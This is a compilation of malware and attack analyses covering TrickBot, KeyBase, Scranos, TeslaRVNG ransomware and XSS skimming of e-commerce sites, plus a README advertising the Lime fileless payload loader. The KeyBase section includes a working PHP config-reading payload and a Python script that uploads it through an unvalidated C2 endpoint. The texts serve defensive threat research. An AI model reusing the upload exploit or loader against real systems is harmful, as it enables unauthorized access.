execute actions consistent with their respective names. ## Conclusion Today we dug into SpectralBlur, a DPRK backdoor. Building upon Greg’s research, we further detailed its capabilities.
# Attack Exploiting XSS Vulnerability in E-commerce Websites On 28 April 2021, Trend Micro reported the details of attacks exploiting cross-site scripting (XSS) vulnerability on e-commerce websites. JPCERT/CC has also confirmed similar cases, which originate in XSS vulnerability in websites developed with EC-CUBE products (an open source CMS for e-commerce websites). This attack does not target vulnerabilities specific to EC-CUBE products but affects any e-commerce websites that have XSS vulnerability on their administrator page. This attack campaign is still ongoing as of July 1, 2021. This article details the cases that JPCERT/CC has handled. ## Attack Overview The flow of the attack is described in the following sections. ### List of Embedded Files | Embedded Files | Contents | |-----------------------------|--------------------------------------------------------------------------| | WebShell | Multi-function WebShell (based in Chinese. Tool name unknown) | | Database control tool | Adminer version 4.2.4 | | Information stealing JavaScript | Sends credit card information etc. when clicked | | Information storing JavaScript | Saves information stolen by the above JavaScript | | Information storage file | Stores credit card number, expiry date, security code, email address, password etc. | | Simple WebShell | Executes PHP file uploaded | Attackers perform the purchase process by typing malicious script into an order form on a target e-commerce website. If the process is vulnerable to XSS attack, the malicious script is executed on the administrator’s page, resulting in credential theft and Simple WebShell setup on the website. After that, attackers implement WebShell and JavaScript on the website to steal and save user information. It is assumed that the attackers access the stolen information by regularly checking the WebShell. In the course of action, attackers embed Adminer on the e-commerce website. This is a common tool to check database contents in a GUI environment, compatible with various types of databases such as MySQL, PostgreSQL, SQLite, MS SQL, Oracle, SimpleDB, Elasticsearch, and MongoDB. Attackers are likely to have stolen database information using this tool. ### Malicious Purchase Action Exploiting XSS Vulnerability An XSS attack is performed as part of the purchase process with the following malicious script. Attackers send this script into multiple forms to increase the chance of success. If this XSS attack succeeds, the following JavaScript code is executed on the administrator’s PC. This code collects username and password and sends them to attackers’ servers. ### Stealing Credit Card Information The embedded “information stealing JavaScript” hooks a user’s mouse clicks on the website during their login and transaction, which results in stealing credit card information. The stolen information is sent to “information storing JavaScript” located on the same server and then stored in the following relative path: `../../../ProductOption/img/env.jpg`. It is assumed that attackers retrieved the credit card information stored in the “information storage file” via WebShell. Details of the “information stealing JavaScript” indicate that attackers check the URL and hook the user’s mouse clicks to steal the information provided in each component. In the collected data, the path name related to credit card transaction services of the e-commerce company is hard-coded, indicating that the attackers customize code depending on the target e-commerce company. This JavaScript combines each component of the stolen information and sends it to “information storing JavaScript.” Email information is temporarily stored in the Cookie of the user’s browser, which is retrieved when sending the data. ### WebShell Used to Steal Information The control page of the WebShell comes with various functions such as file download/upload and shell command execution. This WebShell is written in Chinese. ## In Closing We have introduced the attack details stealing credentials from the administrator’s page. Even if an e-commerce site itself has no security issues, this attack can be carried out if a plugin is vulnerable. Therefore, it is recommended to check for updates for plugins as well. For your information, IP addresses, domain names, and file hash values identified in the attack are listed in the appendices. - Yuma Masubuchi, Shusei Tomonaga (Translated by Yukako Uchida)
# TeslaRVNG Ransomware **Aliases:** Teslarvng, Yakuza Этот крипто-вымогатель шифрует данные пользователей с помощью AES+RSA, а затем требует выкуп в # BTC, чтобы вернуть файлы. Оригинальное название: в записке не указано. На файле написано: defrag.exe. Использует библиотеку Crypto++. ## Обнаружения: - **DrWeb:** Trojan.Inject3.36148, Trojan.MulDrop11.51585 - **BitDefender:** Gen:Variant.Ransom.Ouroboros.29 - **ESET-NOD32:** A Variant Of Win32/Filecoder.OBE, A Variant Of Win32/Filecoder.Teslarvng.A - **Malwarebytes:** Ransom.Teslarvng - **Symantec:** Trojan.Gen.2, Trojan Horse, Ransom.Teslarvng, Ransom.Teslarvng!g1 - **TrendMicro:** TROJ_GEN.R002C0PCF20, Trojan.Win32.MALREP.THCBCBO, Ransom.Win32.OUROBOROS.SMA ## Зашифрованные файлы К зашифрованным файлам добавляются расширения: - .teslarvng - .yakuza Фактически используется составное расширение: - .[[email protected]].teslarvng - .[[email protected]].yakuza **Внимание!** Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом. Активность этого крипто-вымогателя пришлась на начало-середину марта 2020 г. Штамп даты: 9 марта 2020. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру. ## Записка с требованием выкупа **Содержание записки о выкупе:** [+] What's happened? [+] all your files have been encrypted(locked) by us [+] what should i do [+] keep calm and message us [+] do you guarantee recovery of my files? [+] it's our job, we can decrypt like we did encrypt and we'll prove that (unfortunately it's not free, and have to pay a small amount for it) you'll receive decryption program which makes your files and system just like they were [+] well then how should i contact you [+] email: [email protected] email2: [email protected] just mail us with your teslarvngID file in attachment (the file on all your folders beside this file) you should receive answer in 24h max [+] how can i trust you [+] you get what you pay for, this is our business and we have customer satisfaction rates which affects later customers decision we decrypt one file for free for ensuring recoverability of your files you'll sure do recover your files after payment because if we don't our reputation will go bad and others won't make payment. sure we don't want that [+] should i try third party tools [+] we use very strong military-grade encryption method you're free to try but none can work without our private keys, make sure to make a backup of encrypted files before trying tools because they can corrupt your files and make them undecryptable **Перевод записки на русский язык:** [+] Что случилось? [+] все ваши файлы зашифрованы (заблокированы) нами [+] что мне делать [+] сохраняй спокойствие и сообщай нам [+] вы гарантируете восстановление моих файлов? [+] это наша работа, мы можем расшифровать, как мы это зашифровали, и мы докажем это (к сожалению, это не бесплатно, и за это нужно заплатить небольшую сумму) вы получите программу расшифровки, которая сделает ваши файлы и систему такими же, как они [+] ну тогда как мне с тобой связаться [+] email: [email protected] email2: [email protected] просто напишите нам с вашим файлом teslarvngID во вложении (файл во всех ваших папках, кроме этого файла) Вы должны получить ответ в течение 24 часов максимум [+] как я могу тебе доверять [+] Вы получаете то, за что платите, это наш бизнес, и уровень удовлетворенности клиентов влияет на решение будущих клиентов мы расшифровываем один файл бесплатно для обеспечения возможности восстановления ваших файлов вы обязательно восстановите свои файлы после оплаты, потому что если мы этого не сделаем, наша репутация пострадает, а другие не будут платить. конечно, мы этого не хотим [+] я должен попробовать сторонние инструменты [+] мы используем очень сильный метод шифрования военного уровня Вы можете попробовать, но никто не может работать без наших частных ключей, убедитесь, что сделали резервную копию зашифрованных файлов, попыткой использовать инструменты, потому что они могут повредить ваши файлы и сделать их недоступными ## Технические детали Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1. - Удаляет теневые копии файлов. Добавляет в меню пуск файл defrag.exe - Использует утилиту sdelete.exe. - Оба варианта с расширения .teslarvng и .yakuza используются один и тот же файл записки (How To Recover.txt) и метку файлов: "93 9F 7B A9" **Список файловых расширений, подвергающихся шифрованию:** Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр. **Файлы, связанные с этим Ransomware:** - How To Recover.txt - название файла с требованием выкупа - defrag.exe - tempkey.teslarvngkeys - teslarvngID - consoleoutput2287.txt - wbadmin.0.etl - pos.txt - fails.txt - <random>.exe - случайное название вредоносного файла **Расположения:** - \Desktop\ -> - \User_folders\ -> - \%TEMP%\ -> - C:\Users\admin\AppData\Local\Temp\consoleoutput2287.txt - C:\teslarvng\tempkey.teslarvngkeys - C:\teslarvng\How To Recover.txt - %PROGRAMDATA%\datakeys\tempkey.teslarvngkeys - %PROGRAMDATA%\datakeys\pos.txt - %WINDIR%\logs\windowsbackup\wbadmin.0.etl **Записи реестра, связанные с этим Ransomware:** См. ниже результаты анализов. **Мьютексы:** См. ниже результаты анализов. **Сетевые подключения и связи:** Email: [email protected], [email protected] BTC: - См. ниже в обновлениях другие адреса и контакты. См. ниже результаты анализов. **Результаты анализов:** Ⓗ Hybrid analysis >> 𝚺 VirusTotal analysis >> 🐞 Intezer analysis >> ᕒ ANY.RUN analysis >> ⴵ VMRay analysis >> Ⓥ VirusBay samples >> MalShare samples >> 👽 AlienVault analysis >> 🔃 CAPE Sandbox analysis >> ⟲ JOE Sandbox analysis >> **Степень распространённости:** средняя. Подробные сведения собираются регулярно. Присылайте образцы. ## Обновления **Обновление от 22 марта 2020:** Расширение: отсутствует Записка: How To Recover.txt Email: [email protected], [email protected] Результаты анализов: VT + AR + VMR + IA **Обновления июня:** Email: [email protected], [email protected] Email: [email protected], [email protected] **Обновление от 1 июля 2020:** Записка: teslarvng.hta Email: [email protected], [email protected] **Обновление июля:** Email: [email protected], [email protected] **Обновление августа:** Email: [email protected], [email protected] **Обновление сентября 2020:** Email: [email protected], [email protected] **Вариант от 31 декабря 2020:** Расширение: .teslarvng1.5 Email: [email protected], [email protected] VT: 960C10FF27C9BB488DAA2DC405E04967 **Вариант от 1 апреля 2021:** Самоназвание: Tesla Revenge Ransomware, TeslaRVNG1.5 Расширение: .teslarvng2 Результаты анализов: VT + IA **Вариант от 8 мая 2021:** Шаблон зашифрованного файла: id[GENERATED_ID]. [[email protected]].Filename.teslarvng2 Пример зашифрованного файла: id[EiAIBPSt]. [[email protected]].Media.xlss.teslarvng2 Записка: teslarvng2.hta Email: [email protected], [email protected] **Вариант от 24 мая 2021:** Шаблон зашифрованного файла: id[GENERATED_ID]. [[email protected]].Filename.teslarvng2 Записка: teslarvng2.hta Email: [email protected] Результаты анализов: VT + TG + JSB **Вариант от 8 сентября 2021:** Расширение: .liquid Пример зашифрованного файла: id[xGCg1FQ4]. [[email protected]].document.doc.liquid Email: [email protected], [email protected] Результаты анализов: VT **Вариант от 13 ноября 2021:** Расширение: .teslarvng3 Результаты анализов: VT + IA **2022** **Вариант от 14 марта 2022:** Расширение: .Ranger3X Пример зашифрованного файла: id[MxbXXXXX]. [[email protected]].License.txt.Ranger3X Записка: DecryptFiles.txt Email: [email protected], [email protected], [email protected] Результаты анализов: VT + IA **Вариант от 3 мая 2022:** Расширение: .selena Пример зашифрованного файла: id[NCq9Ipot].[[email protected]].13.01.22.jpg.selena Записка: selena.txt Email: [email protected], [email protected] Результаты анализов: VT + IA **Спасибо:** Raby, AkhmedTaia, Michael Gillespie, Bart, Andrew Ivanov (автор) К жертвам, которые прислали образцы.
# Lime Downloader v4.2 **Author:** NYAN-x-CAT **GitHub:** github.com/NYAN-x-CAT/Lime-Downloader It's a loader that downloads your payload and runs it in memory without dropping it to disk and also without crypt payload. ## Main Features - **.NET:** Coded in Visual Basic & C#, required framework 4.0 dependency. - **Dropless:** No file drop to disk. - **Multi:** Insert more than 1 link. ## Prerequisites To open the project you need: 1. Visual Studio 2015+ 2. This repository ## Disclaimer I, the creator, am not responsible for any actions, and or damages, caused by this software. You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only. This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use. By using this software, you automatically agree to the above. ## License This project is licensed under the MIT License - see the LICENSE file for details.
# Tricks of the Trade: A Deeper Look Into TrickBot’s Machinations By Lior Keshet November 9, 2016 TrickBot is a new banking Trojan that emerged in the wild in October 2016, appearing to be a successor to Dyre. Its code has been in progressive testing since August 2016, and it continues to see ongoing updates, actual infection campaigns, and fraud attacks. Internally, there is more to TrickBot than meets the eye. In this research post, we’ll cover some of the most notable points about this malware’s capabilities, including: - An uncommon method of performing man-in-the-browser (MitB) attacks - TrickBot’s buggy web injection mechanism - The developer’s elegant application program interface (API) obfuscation, borrowed from Carberp - Our two cents about the suspected TrickBot-Dyre connection For analysis, the sample we used was: `5e363a42d019fc6535850a2867548f5b968d68952e1cddd49240d1f426debb73`. ## An Unusual Man-in-the-Browser Technique Most modern financial malware families can inject malicious code into ongoing browser sessions (e.g., MitB or a web injection attack). The most common way malware developers implement injections is by setting them up locally at the victim’s machine, keeping a local configuration file for the injections. A more advanced and less common method is to fetch the injection instructions from the attacker’s server in real time, known as server-side injections. TrickBot’s developers opted for this method. It deploys a browser-hooking engine designed to intercept communications to and from the victim’s internet browser. With real-time fetching, the malicious code injections are kept securely on the attacker’s server. When a victim browses one of TrickBot’s target URLs, the following happens: 1. TrickBot’s financial module intercepts the original HTTP response before it is rendered to the victim. 2. TrickBot sends a multipart HTTP packet to its C2 with the following sections: - “sourcelink,” the complete URL that triggered the attack - “sourcequery,” the browser’s complete HTTP query - “sourcehtml,” the original HTML as would be displayed by an uninfected browser 3. C2 replies with full HTML content to be rendered by the victim’s browser, including injected parts. 4. TrickBot’s financial module replaces the original response with the C2’s response, displaying the injected page on the victim’s end. The server-side injection method has advantages over the standard local mechanism, allowing for enhanced obscurity and flexibility. The malware’s author can keep the injection code out of sight until needed, turn the web injections on or off on the fly, and modify the injections easily. ## An Elegant Choice for API Obfuscation To keep malware alive longer, it is common practice for malware authors to add protection layers to their code to ward off reverse engineering. TrickBot employs API obfuscation, similar to the Carberp Trojan’s method. TrickBot does not apply the obfuscation to all APIs; it only applies it to the more sensitive ones. This method can mislead researchers into believing they know all the APIs being used. The obfuscation process is based on precalculated hash values of the APIs. Calling an API function includes a hash value instead of the function name, making static analysis harder unless additional methods are applied to resolve the APIs. A simple way to overcome this obfuscation is by using an Interactive Disassembler (IDA) Python script, especially since the hashed values are available within Carberp’s leaked source code. ## A Bug in the Wild TrickBot has been in testing since summer 2016, even before it was equipped with financial malware features. Initially, TrickBot’s developers struggled with the malware’s web injection mechanism, leading to erratic behavior in some samples. This bug caused the malware to constantly inject the same code, sabotaging its functionality. Since this behavior was inconsistent across samples, a manual fix was needed to continue research. While we won’t delve into further detail, this bug prevented TrickBot from performing fraud. However, since the malware is under constant development, the developers may have already addressed the bug in newer samples. ## The TrickBot-Dyre Connection Speculation over the TrickBot-Dyre connection emerged as soon as the malware was discovered. Key points from our research include: - TrickBot’s server-side web injection method is uncommon in today’s malware, with Dyre being the other family that used it. - Packets sent to the attack server during the server-side web injections consist of three parts: “sourcelink,” “sourcequery,” and “sourcehtml,” which were also used in Dyre’s web injection mechanism. - Targeted URLs and command-and-control (C&C) addresses are kept encrypted on the infected machine, similar to Dyre. - TrickBot passes the target URLs list to its financial module, which is injected into the browser using pipes communication, a hallmark of Dyre. - The structure of the targeted URLs in the configuration is typically consistent for each malware, and TrickBot’s target specification resembles Dyre’s. Although the similarities exist, they are relatively simple to imitate. The server-side web injection technique is common to both Trojans, but the code implementing this capability and the coding style are different. ## A Last-Minute Update: Redirection Attacks! TrickBot’s developers are enhancing the malware for live campaigns targeting banks. We detected a new infection campaign with a configuration targeting U.K. banks. Until now, TrickBot only targeted banks in Australia. Some of these new U.K. targets are set up for redirection attacks, where the victim is redirected to a forged site that looks and feels like the original website. TrickBot is undoubtedly the work of professionals experienced in the banking Trojan scene. We expect to see this Trojan evolve its anti-security and anti-research techniques and appear in more infection campaigns as the year progresses. Lior Keshet Malware Research Technical Lead, IBM Trusteer
# KeyBase Keylogger Malware Family Exposed In recent months, our team has been tracking a keylogger malware family named KeyBase that has been in the wild since February 2015. The malware comes equipped with a variety of features and can be purchased for $50 directly from the author. It has been deployed in attacks against organizations across many industries and is predominantly delivered via phishing emails. In total, Palo Alto Networks AutoFocus threat intelligence service identified 295 unique samples over roughly 1,500 unique sessions in the past four months. Attacks have primarily targeted the high tech, higher education, and retail industries. ## Malware Distribution and Targets KeyBase was first observed in mid-February of 2015. Shortly before then, the domain ‘keybase[.]in’ was registered as a homepage and online store for the KeyBase keylogger. **Domain Name:** KEYBASE.IN **Created On:** 04-Feb-2015 08:27:44 UTC **Last Updated On:** 05-Apr-2015 19:20:38 UTC **Expiration Date:** 04-Feb-2016 08:27:44 UTC This activity is in-line with an initial posting made by a user with the handle ‘Support™’ announcing KeyBase on the hackforums.net forum on February 7, 2015. In the forum post, the malware touts the following features: - Advanced Keylogger - Fully undetected scan-time and run-time (Later removed) - User-friendly web-panel - Unicode support Since February 2015, approximately 1,500 sessions carrying KeyBase have been captured by WildFire. The targeted companies span the globe and are located in many countries. This malware is primarily delivered via phishing emails using common lures. Some examples of attachment filenames can be seen below: - Purchase Order.exe - New Order.exe - Document 27895.scr - Payment document.exe - PO #7478.exe - Overdue Invoices.exe Overall, Unit 42 has seen a large number of separate campaigns using KeyBase. As the software can be easily purchased by anyone, this comes as no surprise. Around 50 different command and control (C2) servers have been identified with up to as many as 50 unique samples connecting to a single C2. ## Malware Overview KeyBase itself is written in C# using the .NET Framework. These facts allowed us to decompile the underlying code and identify key functionality and characteristics of the keylogger. Functionality in KeyBase includes the following: - Display a website on startup - Screenshots - Download/Execute - Persistence - Kill Timer When the malware is initially executed, a series of threads are spawned. The various functions spawned in new threads may be inert based on options specified by the attacker during the build. Should a feature not be enabled, a function looks similar to the following: The author makes use of a number of simple obfuscation techniques on various strings used within the code. Examples of this include replacing single characters that have been added to strings, as well as performing reverse operations on strings. Additionally, the author makes use of an ‘Encryption’ class. This class is used to decrypt a number of strings found within the code. References to this decompiled code were discovered in an old posting on hackforums.net, where the user ‘Ethereal’ provided sample code. The following Python code can be used to decrypt these strings. ```python #!/usr/bin/python # -*- coding: utf-8 -*- strings = [u"ĈőŘĝŏŒįķŎŖġŎŠĠz", u"ŝƕƸšƔưƕŷƔƇżƚƲƕƎƤË", u"ķůƒĻŮƊůőŮšŖŴƌůŨž¥", u"ńŰƓļůƋŰŒůŢŗŵƍŰũſ¦", u"ŨƚƶľśƌƐƅſƧ źƌƚ ƏŔƚƭżƌƱƟÆ", u"ĴšűĽňżūŅšƃŌŅůũőŮƉ\u0097", u"ŇżƇśūŨżşŭƃŚŹťůŝŹƐŠ¥", u"ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ\u0098", u"ńűƎřŹŷŴįŴƈŔŧśƀ£", u"ŵƢDŽƏƦưƑƋƯƶŻƝØ"] key = 'KeyBase' def dec(str, key): key_len = len(key) out = "" for c, s in enumerate(str[:-1]): out += chr(ord(s) - ord(key[c%key_len]) - ord(str[-1])) return out for s in strings: print "Decoded: %25s | Encoded: %s" % (dec(s, key), repr(s)) ``` ## Persistence Persistence in KeyBase, should it be enabled, is achieved using two techniques—copying the malware to the startup folder or setting the Run registry key to autorun on startup. When KeyBase copies itself to the startup folder, it names itself ‘Important.exe.’ This is statically set by the author and cannot be changed by the user in the current version. The key used in the following Run registry key is set by the user, and is always a 32 byte hexadecimal value. ``` HKCU\Software\Microsoft\Windows\CurrentVersion\Run [32 byte key] : [Path to Executable] ``` ## Keylogging Keylogging in KeyBase is primarily accomplished in a separate class appropriately named ‘KeyHook.’ While the class shares a name with a publicly available repository on GitHub, the class appears to be custom written. The class itself uses a very common technique of using the Microsoft Windows SetWindowsHookExA in order to hook the victim’s keyboard. The author proceeds to handle appropriate keyboard events. The class also has the ability to handle Unicode characters, as well as get the name of the foreground window. This allows the malware to not only identify what keys are being pressed, but what application said key presses are being sent to. ## Command and Control (C2) All communication with a remote server takes place via HTTP. Data is not encrypted or obfuscated in any way. Upon initial execution, KeyBase will perform an initial check-in to the remote server. A number of HTTP headers are not included with the request. This provides a simple technique for flagging the activity as malicious. It is also important to note that it is fairly elementary to detect the activity using the hardcoded GET variables included in the request. While the victim machine name and the current time will vary, the remainder of the request will remain static. KeyBase may also send the following data back to its C2 server: - Keystrokes - Clipboard - Screenshots During this communication with its C2 server, KeyBase will include the raw clipboard and keystroke log data using various GET parameters. This data is URI-encoded, but otherwise sent in the clear. Finally, KeyBase will also use a specific URI to upload screenshots. The path ‘/image/upload.php’ is hardcoded within the malware. All images sent back to its C2 server will be placed within the ‘/image/Images/’ path. Uploaded data is once again sent unencrypted. ## Web Panel The web panel itself does not provide any innovative characteristics. It uses a simple red/grey color scheme. The panel does allow the attacker to quickly view infected machines, keystrokes, screenshots, clipboard data, and password data. Unfortunately, the author of KeyBase does not make use of pagination, which results in poor performance in the event a large amount of data is being displayed to the attacker. ## Interesting Discoveries During the course of our research, Unit 42 discovered that no authentication was required when viewing the ‘/image/Images/’ path. One C2 server in particular stood out because it appeared the operator was testing KeyBase on his/her local machine. As such, screenshots of his machine were uploaded to his server and could be viewed by the general public. While continuing to examine the uploaded images, we also identify the user logging into a Windows Web Server 2008 R2 instance via remote desktop. This appears to be where the attacker is launching their spam campaigns using an instance of ‘Turbo-Mailer 2.7.10’. Further examination of the uploaded screenshots shows activity of the user logging into his/her Facebook account. The user looks to be named ‘China Onyeali’ and is observed discussing some of his/her latest endeavors. ## Further Interesting Discoveries Other interesting discoveries were made while researching the backend C2 code. In particular, the upload.php file was examined and analyzed, as this file handles file uploads to the server. As we can see, there is no validation for the types of files uploaded to the remote server. This poses an issue from a security perspective, as a third party can simply upload a PHP script to the ‘/image/Images/’ directory to gain unauthorized access. The following PHP code can be used to read the KeyBase ‘config.php’ script. ```php <?php $file = '../../config.php'; echo "It works!"."</br>"; if (file_exists($file)) { echo "Reading file"."</br>"; echo file_get_contents($file); } ?> ``` Additionally, the following Python code can be used to upload this file and read the results. ```python import requests import sys if len(sys.argv) != 2: print "Usage: %s [php_file]" % __file__ sys.exit(1) URL = "" print "Sending request..." multiple_files = [('file', ('WIN-JJFOIJGL_6_5_14_22_2.php', open(sys.argv[1], 'rb')))] r = requests.post(URL + "image/upload.php", files=multiple_files) print "Results:" print r = requests.get(URL + "image/Images/WIN-JJFOIJGL_6_5_14_22_2.php") print r.text ``` ## Conclusion Overall, this KeyBase malware is quite unsophisticated. It lacks a number of features available in some of the more popular malware families, and the C2 web panel contains security vulnerabilities that could allow a third party to gain unauthorized access. The builder for KeyBase provides an easy-to-use, user-friendly interface; however, a number of options are hardcoded into the malware itself. While this malware has some issues with sophistication, Unit 42 has observed a significant and continued rise in usage by attackers, generally targeting the high tech, higher education, and retail industries. Palo Alto Networks customers are protected via WildFire, which is able to detect KeyBase as malicious. Readers may also use the indicators provided to deploy protections.
# Inside Scranos – A Cross Platform, Rootkit-Enabled Spyware Operation **Authors:** - Andrei Raul ARDELEAN - Security Researcher, Cyber Threat Intelligence Lab - Claudiu Ștefan COBLIȘ - Security Researcher, Cyber Threat Intelligence Lab - Cristofor OCHINCA - Security Researcher, Cyber Threat Intelligence Lab - Cristian Alexandru ISTRATE – Team Lead, Cyber Threat Intelligence Lab ## Overview Last year, the Bitdefender Cyber Threat Intelligence Lab started analysis of a new password- and data-stealing operation based around a rootkit driver digitally signed with a possibly stolen certificate. The operation, partially described in a recent article by Tencent, primarily targeted Chinese territory until recently, when it broke out around the world. Despite the sophistication, this attack looks like a work in progress, with many components in the early stage of development. Although the campaign has not reached the magnitude of the Zacinlo adware campaign, it is already infecting users worldwide. We discovered that the operators of this rootkit-enabled spyware are continuously testing new components on already-infected users and regularly making minor improvements to old components. The various components can serve different purposes or take different approaches to achieving their goals. Some of the most important components shipped with the malware can achieve the following: - Extract cookies and steal login credentials from Google Chrome, Chromium, Mozilla Firefox, Opera, Microsoft Edge, Internet Explorer, Baidu Browser, and Yandex Browser. - Steal a user’s payment accounts from his Facebook, Amazon, and Airbnb webpages. - Send friend requests to other accounts from the user’s Facebook account. - Send phishing messages to the victim’s Facebook friends containing malicious APKs used to infect Android users as well. - Steal login credentials for the user’s account on Steam. - Inject JavaScript adware in Internet Explorer. - Install Chrome/Opera extensions to inject JavaScript adware on these browsers as well. - Exfiltrate browsing history. - Silently display ads or muted YouTube videos to users via Chrome. We found some droppers that can install Chrome if it is not already on the victim’s computer. - Subscribe users to YouTube video channels. - Download and execute any payload. ## Infection and Spreading Mechanisms Bitdefender research reveals this malware spreads via Trojanized applications disguised as cracked software, or applications posing as legitimate software such as e-book readers, video players, drivers, or even antimalware products. When executed, a rootkit driver is installed to cloak the malware and ensure persistence. The malware then phones home and is told what other components to download and install. Our telemetry shows the adware has a global presence, but it seems more prevalent in India, Romania, Brazil, France, Italy, and Indonesia. All identified samples confirm that this operation is in a consolidation stage: the oldest samples identified date back to November 2018, with a massive spike in December and January. However, in March 2019, the command and control servers started pushing other strains of malware – a clear indicator that the network is now affiliated with third parties in pay-per-install schemes. ### Infection Distribution by OS | OS | Counts | |---------------|--------| | Windows 10 | 2799 | | Windows 7 | 1150 | | Windows 8 | 207 | | Windows 8.1 | 322 | | Windows XP | 5 | | Windows Vista | 5 | ## Dropper and Rootkit Components The original avenue of infection is usually a piece of cracked software or Trojanized application posing as a legitimate utility bundled with the initial dropper. The dropper, which doubles as a password stealer, installs a driver that provides persistence to all other components to be installed in the future. As this paper was written, the digital signature of the driver, issued to Yun Yu Health Management Consulting (Shanghai) Co., Ltd, had not been revoked on grounds of obvious fraudulent activity. Bitdefender informed the issuing Certificate Authority that the digital certificate was either compromised or misused. The rootkit uses an effective persistence mechanism of rewriting itself at shutdown but does not hide itself. Subsequently, it is not protected against deletion if detected. Besides the driver itself, no other components can be found on disk, as they are deleted after running. They can be downloaded again if needed. The rootkit injects a downloader into a legitimate process, which then downloads one or more payloads. 1. The dropper steals cookies, login credentials, and payment info with the help of specialized DLLs. It supports the most common browsers and targets Facebook, YouTube, Amazon, and Airbnb. Data gathered is sent back to the C&C. 2. The dropper installs the rootkit. 3. The rootkit registers a Shutdown callback to achieve persistence. At shutdown, the driver is written to disk and a start-up service key is created in the Registry. 4. The rootkit injects a downloader into a svchost.exe process. 5. The downloader sends some info about the system to the C&C and receives download links. 6. Further payloads are downloaded and executed. ## YouTube Subscriber Payload One of the payload files is an adware file that manipulates YouTube pages. To achieve this, it uses Chrome in debugging mode. Some droppers even install Chrome if the user doesn’t have it. The payload hides the Chrome window on the desktop and taskbar but its process is still visible in Task Manager/Process Explorer. After receiving a YouTube page from the C&C, the URL is opened in Chrome and the payload instructs Chrome to take various actions on the page: start a video, mute a video, subscribe to a channel, click ads. These operations are performed through debug commands. ### A diagram for this payload type: 1. Get YouTube Page 2. Start Chrome in Debug Mode 3. Inject 4. Visit YouTube Page 5. Debug Chrome, Perform Actions in Page ## Extension Installer Payload This type of payload installs adware extensions in Chrome. These extensions are meant to further inject adware scripts in web pages. Internet Explorer is also targeted, and the adware scripts are injected into it using other methods. 1. The Extension Installer Payload (wcrx.exe) injects the DLL that interferes with Internet Explorer into rundll32.exe process. 2. The injected DLL gets JavaScript code from the C&C. 3. The JavaScript is injected into Internet Explorer windows using a COM Object. 4. The payload installs the adware extension in Chromium-based browsers. ## Facebook Spammer Payload The purpose of this payload is to send Facebook friend requests to other users. It also sends messages to the user’s Facebook friends with links to suspicious Android APKs. It does so by stealing cookies from browsers, collecting tokens from the user’s profile page, and sending crafted requests to Facebook. This can be used to increase the influence of selected accounts or in a scheme where attackers sell fake Facebook followers. 1. The payload collects Facebook cookies from installed browsers using an embedded DLL. It uses an external program, Nirsoft’s EdgeCookiesView, to collect cookies from Microsoft Edge. 2. The payload receives a list of Facebook users and links to malicious APKs from the command and control center. 3. Using the collected cookies and other tokens, the payload then sends friend requests to the Facebook user list received by the C&C and then spams messages containing the APK links to them. ## Steam Data Stealer Payload The main purpose of this type of payload is to steal user credentials from the Steam gaming platform. First, it forces Steam to ask for the credentials again. Then it injects a DLL in the Steam executable that finds the username and password as they are entered. At the same time, it gathers a list of installed games and the time they have been played. The 64-bit components of this payload are also there, but they serve no purpose yet, which suggests the stealer is still under development. 1. The payload forces Steam to ask for credentials at next logon by modifying files and Registry values. 2. The payload creates a rundll32.exe process and injects a DLL in it. 3. The DLL in rundll32.exe will search for steam.exe process and inject the password stealer DLL in it. 4. The password stealer DLL steals the user’s credentials and sends them to the C&C along with other info about the games installed. ## Browsing History Stealer Payload This payload collects Chrome’s browsing history and sends it to the C&C in an encrypted form. This is similar to the other identified payloads: the executable is obfuscated in the same way, the data to be sent is encrypted with AES using the same key, the same C&C is used, and it also uses the rootkit to delete itself. This is a simpler payload and could be further evidence that this is a work in progress. 1. The payload reads Chrome’s browsing history. 2. The history is encrypted and sent to the C&C. ## Removal Instructions Rootkits are extremely persistent threats and they require special interaction for detection and removal. This section provides step-by-step removal instructions. 1. Close your browser(s). 2. Kill all processes running from temporary path. Remove files that are detected as malicious. 3. Kill rundll32.exe process. 4. Generate the rootkit file name as follows: - Get current user’s SID. - Compute MD5 of the string resulted from a). - Get the first 12 characters from b). 5. Run a cmd or PowerShell window with Administrator rights and type: ``` > sc stop <string resulted from step 4> > sc delete <string resulted from step 4> ``` 6. Go to %WINDIR%\System32\drivers and check for a file called <string resulted from step 4>.sys and delete the file. 7. Remove the DNS driver: - Check if the DNS driver is installed: in %TEMP% should be a file with 10 random uppercase letters (ex: MOIYZBWQSO.sys). In the Registry, there should also be a key corresponding to the name (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MOIYZBWQSO). - Run a cmd or PowerShell window with Administrator rights and type: ``` sc stop MOIYZBWQSO sc delete MOIYZBWQSO delete the file %TEMP%\MOIYZBWQSO.sys ``` 8. Reboot your PC to remove the injected code from the svchost.exe process. 9. Remove any suspicious extension from your browsers. 10. Change all your passwords. ## IOCs **Domains** - a12[.]fun - b12[.]fun - ab12[.]fun - ossdown[.]fun - d3pk[.]com - fffffk[.]xyz - downmsdn[.]com - hh1m[.]com **IPs** - 178.162.132.79 - 114.114.114.114 (114dns Chinese public DNS) **URLs** - https://www.fffffk[.]xyz/chrome/index.php - http://info.d3pk[.]com - http://dl.ossdown[.]fun/wcrx.dat **User-Agents** - Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 **Registry** - HKCU\Software\@demo - HKLM\Software\Microsoft\@msver1 - HKLM\Software\Microsoft\@msver2 **File Hashes** - apk: 2101269773f79bd57cc974683e0992f0ea822e63 - amazon_dll: 0149d9ab48a69b3aed75896d072397ab3736f186 This operation is constantly evolving, as demonstrated by the fact that its developers build in new functionalities rather than rely on external tools that may be detected as malicious. The attackers also started encrypting the dropper 